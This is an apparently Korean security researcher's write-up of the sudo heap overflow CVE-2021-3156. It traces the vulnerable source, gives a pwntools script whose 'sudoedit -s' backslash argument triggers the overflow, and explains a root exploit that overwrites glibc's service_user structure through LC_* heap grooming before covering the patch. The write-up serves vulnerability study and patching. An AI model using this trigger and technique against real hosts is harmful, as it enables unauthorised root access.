CVE-2021-3156

CVE
Heap
Analysis

라온화이트햇 핵심연구팀 조진호

Sumarry

sudoedit

Detail

sudo명령어가 실행되면 shell모드(shell -c)가 된다. -s명령을 이용하면 MODE_SHELL플래그를 설정할 수 있고, 또는 -i옵션을 이용하여 MODE_SHELLMODE_LOGIN_SHELL플래그를 설정할 수 있다.

 215     /* Parse command line arguments. */
 216     sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
 217     &settings, &env_add);
 218     sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);

MODE_SHELL이라면 sudo가 main()함수를 시작할 떄 parse_args()가 argv를 rewrite하게 된다.

636     av = reallocarray(NULL, ac + 1, sizeof(char *));
637     if (av == NULL)
638         sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
639     if (!gc_add(GC_PTR, av))
640         exit(EXIT_FAILURE);
641 
642     av[0] = (char *)user_details.shell; /* plugin may override shell */
643     if (cmnd != NULL) {
644         av[1] = "-c";
645         av[2] = cmnd;
646     }
647     av[ac] = NULL;
648 
649     argv = av;
650     argc = ac;
651     }

argv, argc를 재할당한다.

608     if (argc != 0) {
609         /* shell -c "command" */
610         char *src, *dst; 
611         size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
612         strlen(argv[argc - 1]) + 1;
613 
614         cmnd = dst = reallocarray(NULL, cmnd_size, 2);
615         if (cmnd == NULL)
616         sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
617         if (!gc_add(GC_PTR, cmnd))
618         exit(EXIT_FAILURE);
619 
620         for (av = argv; *av != NULL; av++) { 
621         for (src = *av; *src != '\0'; src++) {
622             /* quote potential meta characters */
623             if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
624             *dst++ = '\\';
625             *dst++ = *src;
626         }
627         *dst++ = ' ';
628         }
629         if (cmnd != dst)
630         dst--;  /* replace last space with a NUL */
631         *dst = '\0';
632 
633         ac += 2; /* -c cmnd */
634     }

조금 위로 올라가서 재할당 되는 문자열은 뒤의 문자들을 모두 합쳐서 만드는 것을 볼 수 있다. 합쳐서 cmnd에 저장하고 그걸 argv의 세번째 인자인 “command”로 넣는 것이다. 이 과정에서 다른 meta character를 처리한다 (L623)

 917 static int
 918 set_cmnd(void)
 919 {
				...
 964         if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
 965         /*
 966          * When running a command via a shell, the sudo front-end
 967          * escapes potential meta chars.  We unescape non-spaces
 968          * for sudoers matching and logging purposes.
 969          */
 970         for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
 971             while (*from) {
 972             if (from[0] == '\\' && !isspace((unsigned char)from[1]))
 973                 from++;
 974             *to++ = *from++;
 975             }
 976             *to++ = ' ';
 977         }
 978         *--to = '\0';
 979         } else {
			 ...

나중에 sudoers_policy_main()에서 set_cmnd()함수를 이용해 명령어 인자를 힙 버퍼의 user_args에 합친다. L972에서 backslash를 찾고 그 다음 문자를 넣을 때 backslash를 빼고 넣는 작업을 한다. 이는 위의 parse_args함수에서 모든 meta characterbackslash가 붙었다는 가정하에 이뤄지는 작업니다. 여기서 만약 parse_args의 escape작업을 하지 않고 들어온다면 L971 ~ L975과정중에 OOB버그가 발생하게 된다.

 964         if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

그런데 여기까지 들어오려면 L964의 MODE_SHELL이나 MODE_LOGIN_SHELL이 세팅이 되어 있어야 한다. 그러나 MODE_SHELLMODE_LOGIN_SHELL이 세팅되어있으면 위의 parse_args함수에서 meta character를 모두 체크하는 것을 확인했었다. 그러나 실제 parse_argsset_cmnd의 조건을 보면 조금 다르다.

819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

set_cmnd

571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

parse_args

parse_argsMODE_RUNMODE_SHELL이 모두 세팅 되어있어야 하지만 set_cmnd는 둘중 하나만 세팅되어있어도 가능하고, MODE_EDIT이나 MODE_CHECK를 사용할 수 있다.

case 'e':
		    if (mode && mode != MODE_EDIT)
			usage_excl(1);
		    mode = MODE_EDIT;
		    sudo_settings[ARG_SUDOEDIT].value = "true";
		    valid_flags = MODE_NONINTERACTIVE;
		    break;

...

if ((flags & valid_flags) != flags)
	usage(1);

MODE_EDIT-e옵션으로 parse_args에서 사용 가능하다. 하지만 이떄 valid_flagsMODE_NONINTERACTIVE로 세팅하기 때문에 에러가 뜬다. (usage함수 실행시 exit)

if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
	progname = "sudoedit";
	mode = MODE_EDIT;
	sudo_settings[ARG_SUDOEDIT].value = "true";
    }

그러나 프로그램 이름이 sudoedit이라면 MODE_EDIT을 기본적으로 세팅하기 때문에 -s옵션(MODE_SHELL)을 사용하면 취약한 코드로 들어가되, parse_args의 meta character를 삭제하는 부분을 들어가지 않게 된다.

#!/usr/bin/python3
from pwn import *

# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

gdbscript = '''
c
'''

p = gdb.debug(["/usr/local/bin/sudoedit", "-s", "\\\\", "A" * 0x1000], gdbscript)

p.interactive()
  Workspace ./a.py
[+] Starting local process '/usr/bin/gdbserver': pid 5605
[*] running in new terminal: /usr/bin/gdb -q  "/usr/bin/sudoedit" -x "/tmp/pwntvmjkl6t.gdb"
[*] Switching to interactive mode
malloc(): invalid size (unsorted)

정상적으로 트리거 된다. \\로 다음 힙 청크의 사이즈를 조졌기 때문에 이런 에러가 난다.

gef  tel 0x5619fb3ce0c0
0x00005619fb3ce0c0+0x0000: 0x0000000000000000
0x00005619fb3ce0c8+0x0008: 0x0000000000001011
0x00005619fb3ce0d0+0x0010: 0x4141414141414100
0x00005619fb3ce0d8+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0e0+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0e8+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0f0+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0f8+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce100+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce108+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
gef  tel 0x5619fb3ce0c0+0x1010
0x00005619fb3cf0d0+0x0000: 0x4141414141412041
0x00005619fb3cf0d8+0x0008: 0x4141414141414141
0x00005619fb3cf0e0+0x0010: 0x4141414141414141
0x00005619fb3cf0e8+0x0018: 0x00005619fb3cc850    0x0000000000000000
0x00005619fb3cf0f0+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3cf0f8+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3cf100+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"

Exploit

exploit은 service_user를 덮어써서 하는 방법이 있다. CTF처럼 힙을 조져서 하는 것 보다 깔끔하게 exploit이 된다.

//nss/nsswitch.h#L61
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user; 

service_usernss_load_library에서 사용되는 구조체이다. 이 구조체는 힙에 저장된다.

nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
         library for it, creating a new one if need be.  If there
         is no service table from the file, this static variable
         holds the head of the service_library list made from the
         default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);
      if (ni->library == NULL)
        return -1;
    }

		...

library가 null이라면 그대로 리턴한다.

		if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];
      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);
      ni->library->lib_handle = __libc_dlopen (shlib_name);

하지만 library가 있을 경우 "libnss_" + name + ".so" 의 라이브러리를 불러오게 된다. service_user의 library를 덮어서 null이 아니게 만들고 이름을 원하는 이름으로 바꿔서 특정 so파일을 dlopen하게 만들 수 있다.

이제 해야될 것은 heap overflow할 수 있는 청크 뒤쪽에 저 service_user구조체가 들어오게 하고 덮어쓰는 것이다. 이렇게 하려면 힙 청크를 free시켜야되는데 이때 사용되는 것이 LC_*환경변수이다. 이 환경변수들은 glibc내부에서 할당되고 사용하고 해제된다.

new = malloc (cumlen);
  if (new == NULL)
    return NULL;
  p = new;
  for (i = 0; i < __LC_LAST; ++i)
    if (i != LC_ALL)
      {
        /* Add "CATEGORY=NAME;" to the string.  */
        const char *name = (category == LC_ALL ? newnames[i]
                            : category == i ? newnames[0]
                            : _nl_global_locale.__names[i]);
        p = __stpcpy (p, _nl_category_names.str + _nl_category_name_idxs[i]);
        *p++ = '=';
        p = __stpcpy (p, name);
        *p++ = ';';
      }
  p[-1] = '\0';                /* Clobber the last ';'.  */
  return new;
}

이를 이용해 service_user가 할당되는 순간에 원하는 위치에 위치하도록 힙풍수를 맞춘다.

gef➤  tel 0x55b2eb3fbda0
0x000055b2eb3fbda0│+0x0000: 0x0000000000000000
0x000055b2eb3fbda8│+0x0008: 0x00000000000000f1
0x000055b2eb3fbdb0│+0x0010: 0x0000000000000000	 ← $rbp, $r8
0x000055b2eb3fbdb8│+0x0018: 0x0000000000000000
0x000055b2eb3fbdc0│+0x0020: "e-langpack/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdc8│+0x0028: "ck/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd0│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd8│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde0│+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde8│+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"

LC_*변수들이 사용되고 해제된 영역

gef➤  tel 0x55b2eb3fbda0
0x000055b2eb3fbda0│+0x0000: 0x0000000000000000
0x000055b2eb3fbda8│+0x0008: 0x00000000000000f1
0x000055b2eb3fbdb0│+0x0010: "YYYYYYYY"	 ← $r8
0x000055b2eb3fbdb8│+0x0018: 0x0000000000000000	 ← $rbp
0x000055b2eb3fbdc0│+0x0020: "e-langpack/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdc8│+0x0028: "ck/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd0│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd8│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde0│+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde8│+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"

해제된 영역에 쓰기 시작.

gef➤  tel $rdi
0x000055b2eb3fc350│+0x0000: "XXXXXXXXXXXXXXXX"	 ← $rbx, $rdi
0x000055b2eb3fc358│+0x0008: "XXXXXXXX"
0x000055b2eb3fc360│+0x0010: 0x0000000000000000
0x000055b2eb3fc368│+0x0018: 0x5858585858585800
0x000055b2eb3fc370│+0x0020: 0x0000000000000000
0x000055b2eb3fc378│+0x0028: 0x000055b2eb403960  →  0x000055b2eb410710  →  0x00007f2884d239d7  →  "initgroups_dyn"	 ← $r14
0x000055b2eb3fc380│+0x0030: 0x0053005a00782f78 ("x/x"?)

service_user구조체까지 덮어썼으며 name변수를 x/x로 덮어썼다. 따라서 libnss_x/x.so.2라이브러리를 import 하게된다. 이 라이브러리에 실행할 코드를 넣으면 성공적인 트리거가 가능하다.

Patch

commit 1f8638577d0c80a4ff864a2aad80a0d95488e9a8
Author: Todd C. Miller <Todd.Miller@sudo.ws>
Date:   Sat Jan 23 08:43:59 2021 -0700

    Fix potential buffer overflow when unescaping backslashes in user_args.
    Also, do not try to unescaping backslashes unless in run mode *and*
    we are running the command via a shell.
    Found by Qualys, this fixes CVE-2021-3156.

commit b301b46b79c6e2a76d530fa36d05992e74952ee8
Author: Todd C. Miller <Todd.Miller@sudo.ws>
Date:   Sat Jan 23 08:43:59 2021 -0700

    Reset valid_flags to MODE_NONINTERACTIVE for sudoedit.
    This is consistent with how the -e option is handled.
    Also reject -H and -P flags for sudoedit as was done in sudo 1.7.
    Found by Qualys, this is part of the fix for CVE-2021-3156.

취약한 함수의 패치는 위의 커밋에서 패치되었다.

diff --git a/plugins/sudoers/sudoers.c b/plugins/sudoers/sudoers.c
index d6eddd000..20f760bc6 100644
--- a/plugins/sudoers/sudoers.c
+++ b/plugins/sudoers/sudoers.c
@@ -547,7 +547,7 @@ sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
 
     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */
     /* XXX - causes confusion when root is not listed in sudoers */
-    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {
+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {
        if (user_uid == 0 && strcmp(prev_user, "root") != 0) {
            struct passwd *pw;
 
@@ -932,8 +932,8 @@ set_cmnd(void)
     if (user_cmnd == NULL)
        user_cmnd = NewArgv[0];
 
-    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
-       if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {
+       if (!ISSET(sudo_mode, MODE_EDIT)) {
            const char *runchroot = user_runchroot;
            if (runchroot == NULL && def_runchroot != NULL &&
                    strcmp(def_runchroot, "*") != 0)
@@ -961,7 +961,8 @@ set_cmnd(void)
                sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
                debug_return_int(NOT_FOUND_ERROR);
            }
-           if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
+           if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&
+                   ISSET(sudo_mode, MODE_RUN)) {
                /*
                 * When running a command via a shell, the sudo front-end
                 * escapes potential meta chars.  We unescape non-spaces
@@ -969,10 +970,22 @@ set_cmnd(void)
                 */
                for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                    while (*from) {
-                       if (from[0] == '\\' && !isspace((unsigned char)from[1]))
+                       if (from[0] == '\\' && from[1] != '\0' &&
+                               !isspace((unsigned char)from[1])) {
                            from++;
+                       }
+                       if (size - (to - user_args) < 1) {
+                           sudo_warnx(U_("internal error, %s overflow"),
+                               __func__);
+                           debug_return_int(NOT_FOUND_ERROR);
+                       }
                        *to++ = *from++;
                    }
+                   if (size - (to - user_args) < 1) {
+                       sudo_warnx(U_("internal error, %s overflow"),
+                           __func__);
+                       debug_return_int(NOT_FOUND_ERROR);
+                   }
                    *to++ = ' ';
                }
                *--to = '\0';

패치내용은 취약한 함수인 set_cmnd를 패치하였으며, 잘못 설정되어있던 sudo_mode플래그를 추가로 체크하고, heap overflow가 터졌던 fromto에 넣는 반복분에서 검증 과정을 추가하였다.

Reference

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

https://github.com/CptGibbon/CVE-2021-3156